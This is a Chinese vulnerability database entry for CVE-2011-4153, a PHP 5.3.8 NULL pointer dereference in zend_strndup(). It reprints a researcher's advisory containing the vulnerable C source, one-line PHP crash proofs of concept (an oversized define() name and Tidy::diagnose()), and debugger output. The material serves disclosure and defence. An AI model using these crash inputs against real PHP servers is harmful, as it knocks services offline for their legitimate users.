PHP ‘zend_strndup()’ 拒绝服务漏洞

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漏洞ID 1120797 漏洞类型 输入验证
发布时间 2012-01-14 更新时间 2013-08-19
CVE编号 CVE-2011-4153 CNNVD-ID CNNVD-201201-182
漏洞平台 Multiple CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/18370
https://www.securityfocus.com/bid/51417
https://cxsecurity.com/issue/WLB-2012010103
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201201-182
|漏洞详情
PHP(PHP:HypertextPreprocessor,PHP:超文本预处理器)是PHPGroup和开放源代码社区共同维护的一种开源的通用计算机脚本语言。该语言主要用于Web开发,支持多种数据库及操作系统。PHP在检验zend_strndup()调用的返回值的实现上存在多个拒绝服务漏洞,该漏洞源于空指针解引用。攻击者可以利用这些漏洞导致PHP编写的应用程序崩溃,拒绝为合法用户提供服务。PHP5.3.8版本中存在该漏洞,其他版本中也可能受到影响。
|漏洞EXP
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ PHP 5.3.8 Multiple vulnerabilities ]

Author: Maksymilian Arciemowicz
Website: http://cxsecurity.com/
Date: 14.01.2012

CVE:
CVE-2011-4153 (zend_strndup)

Original link:
http://cxsecurity.com/research/103


[--- 1. Multiple NULL Pointer Dereference with zend_strndup()
[CVE-2011-4153] ---]
As we can see in zend_strndup()

- -zend_alloca.c---
ZEND_API char *zend_strndup(const char *s, uint length)
{
	char *p;

	p = (char *) malloc(length+1);
	if (UNEXPECTED(p == NULL)) {
		return p; <=== RETURN NULL
	}
	if (length) {
		memcpy(p, s, length);
	}
	p[length] = 0;
	return p;
}
- -zend_alloca.c---

zend_strndup() may return NULL

in php code, many calls to zend_strndup() dosen't checks returned
values. In result, places like:

- -zend_builtin_functions.c---
ZEND_FUNCTION(define)
{
	char *name;
	int name_len;
	zval *val;
	zval *val_free = NULL;
	zend_bool non_cs = 0;
	int case_sensitive = CONST_CS;
	zend_constant c;

	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sz|b", &name,
&name_len, &val, &non_cs) == FAILURE) {
		return;
	}
...
	c.flags = case_sensitive; /* non persistent */
	c.name = zend_strndup(name, name_len); <======== MAY RETURN NULL
	c.name_len = name_len+1;
	c.module_number = PHP_USER_CONSTANT;
	if (zend_register_constant(&c TSRMLS_CC) == SUCCESS) {
		RETURN_TRUE;
	} else {
		RETURN_FALSE;
	}
}
- -zend_builtin_functions.c---

- -PoC code---
[cx@82 /www]$ ulimit -a
socket buffer size       (bytes, -b) unlimited
core file size          (blocks, -c) unlimited
data seg size           (kbytes, -d) 524288
file size               (blocks, -f) unlimited
max locked memory       (kbytes, -l) unlimited
max memory size         (kbytes, -m) 40000
open files                      (-n) 11095
pipe size            (512 bytes, -p) 1
stack size              (kbytes, -s) 65536
cpu time               (seconds, -t) unlimited
max user processes              (-u) 5547
virtual memory          (kbytes, -v) 40000
swap size               (kbytes, -w) unlimited
[cx@82 /www]$ cat define.php
<?php
define(str_repeat("A",$argv[1]),"a");
?>
- -PoC code---

to see difference

[cx@82 /www]$ php define.php 8999999
Out of memory
[cx@82 /www]$ php define.php 9999999
Segmentation fault: 11

(gdb) bt
#0  0x28745eb0 in strrchr () from /lib/libc.so.7
#1  0x0822d538 in zend_register_constant (c=0xbfbfcfb0)
    at /usr/ports/lang/php5/work/php/Zend/zend_constants.c:429
#2  0x08251e0e in zif_define (ht=2, return_value=0x28825a98,
    return_value_ptr=0x0, this_ptr=0x0, return_value_used=0)
    at /usr/ports/lang/php5/work/php/Zend/zend_builtin_functions.c:688
#3  0x0826dba6 in zend_do_fcall_common_helper_SPEC
(execute_data=0x29401040)
    at zend_vm_execute.h:316


There are others places, where zend_strndup() is used:

- -1--
ext/soap/php_sdl.c
			if (sdl->is_persistent) {
				new_enc->details.ns = zend_strndup(ns, ns_len);
				new_enc->details.type_str = strdup(new_enc->details.type_str);
			} else {
				new_enc->details.ns = estrndup(ns, ns_len);
				new_enc->details.type_str = estrdup(new_enc->details.type_str);
			}
- -1--

- -2--
ext/standard/syslog.c
	BG(syslog_device) = zend_strndup(ident, ident_len);
	openlog(BG(syslog_device), option, facility);
	RETURN_TRUE;
- -2--

- -3--
ext/standard/browscap.c
				} else { /* Other than true/false setting */
					Z_STRVAL_P(new_property) = zend_strndup(Z_STRVAL_P(arg2),
Z_STRLEN_P(arg2));
					Z_STRLEN_P(new_property) = Z_STRLEN_P(arg2);
				}
				new_key = zend_strndup(Z_STRVAL_P(arg1), Z_STRLEN_P(arg1));
				zend_str_tolower(new_key, Z_STRLEN_P(arg1));
				zend_hash_update(Z_ARRVAL_P(current_section), new_key,
Z_STRLEN_P(arg1) + 1, &new_property, sizeof(zval *), NULL);
				free(new_key);
- -3--

- -4--
ext/oci8/oci8.c
		if (alloc_non_persistent) {
			connection = (php_oci_connection *) ecalloc(1,
sizeof(php_oci_connection));
			connection->hash_key = estrndup(hashed_details.c, hashed_details.len);
			connection->is_persistent = 0;
		} else {
			connection = (php_oci_connection *) calloc(1,
sizeof(php_oci_connection));
			connection->hash_key = zend_strndup(hashed_details.c,
hashed_details.len);
			connection->is_persistent = 1;
		}
- -4--

- -5--
ext/com_dotnet/com_typeinfo.c
				const_name = php_com_olestring_to_string(bstr_ids, &c.name_len,
codepage TSRMLS_CC);
				c.name = zend_strndup(const_name, c.name_len);
				efree(const_name);
				c.name_len++; /* include NUL */
				SysFreeString(bstr_ids);

				/* sanity check for the case where the constant is already defined */
				if (zend_get_constant(c.name, c.name_len - 1, &exists TSRMLS_CC)) {
					if (COMG(autoreg_verbose) && !compare_function(&results,
&c.value, &exists TSRMLS_CC)) {
						php_error_docref(NULL TSRMLS_CC, E_WARNING, "Type library
constant %s is already defined", c.name);
					}
					free(c.name);
					ITypeInfo_ReleaseVarDesc(TypeInfo, pVarDesc);
					continue;
				}
- -5--

- -6--
main/php_open_temporary_file.c
	/* On Unix use the (usual) TMPDIR environment variable. */
	{
		char* s = getenv("TMPDIR");
		if (s && *s) {
			int len = strlen(s);

			if (s[len - 1] == DEFAULT_SLASH) {
				temporary_directory = zend_strndup(s, len - 1);
			} else {
				temporary_directory = zend_strndup(s, len);
			}

			return temporary_directory;
		}
- -6--


[--- 2. Tidy::diagnose() NULL pointer dereference ---]
Class tidy, may provide to null pointer dereference using tidy lib.

1287 	static PHP_FUNCTION(tidy_diagnose)
1288 	{
1289 	TIDY_FETCH_OBJECT;
1290 	
1291 	if (tidyRunDiagnostics(obj->ptdoc->doc) >= 0) {
1292 	tidy_doc_update_properties(obj TSRMLS_CC);
1293 	RETURN_TRUE;
1294 	}
1295 	
1296 	RETURN_FALSE;
1297 	}

- -PoC---
(gdb) r -r '$nx=new Tidy("*");$nx->diagnose();'
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /usr/bin/php -r '$nx=new Tidy("*");$nx->diagnose();'
[Thread debugging using libthread_db enabled]
PHP Warning:  tidy::__construct(): Cannot Load '*' into memory  in
Command line code on line 1

Program received signal SIGSEGV, Segmentation fault.
0x00007fffedfaff87 in prvTidyReportMarkupVersion ()
   from /usr/lib/libtidy-0.99.so.0
- -PoC---

- -Result---
cx@cx64:~$ php -r '$nx=new Tidy("*");$nx->diagnose();'
PHP Warning:  tidy::__construct(): Cannot Load '*' into memory  in
Command line code on line 1
Segmentation fault
- -Result---

I do not consider this vulnerability as a having security impact other
as DoS.

[--- 3. Contact ---]
Author: Maksymilian Arciemowicz
Email: max {AA\TT cxsecurity |D|0|T] com
http://cxsecurity.com/

GPG:
http://cxsecurity.com/office.cxsecurity.txt


- -- 
Best Regards
Maksymilian Arciemowicz (CXSecurity.com)
pub   4096R/D6E5B530 2010-09-19
uid                  Maksymilian Arciemowicz (cx) <max@cxib.net>
sub   4096R/58BA663C 2010-09-19
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|受影响的产品
Ubuntu Ubuntu Linux 8.04 LTS sparc Ubuntu Ubuntu Linux 8.04 LTS powerpc Ubuntu Ubuntu Linux 8.04 LTS lpia Ubuntu Ubuntu Linux 8.04 LTS i386 Ubuntu Ubuntu Linux 8.04 LTS amd64
|参考资料

来源:EXPLOIT-DB
名称:18370
链接:http://www.exploit-db.com/exploits/18370/
来源:cxsecurity.com
链接:http://cxsecurity.com/research/103
来源:BUGTRAQ
名称:20120114PHP5.3.8Multiplevulnerabilities
链接:http://archives.neohapsis.com/archives/bugtraq/2012-01/0092.html
来源:BID
名称:51417
链接:http://www.securityfocus.com/bid/51417
来源:NSFOCUS
名称:18542
链接:http://www.nsfocus.net/vulndb/18542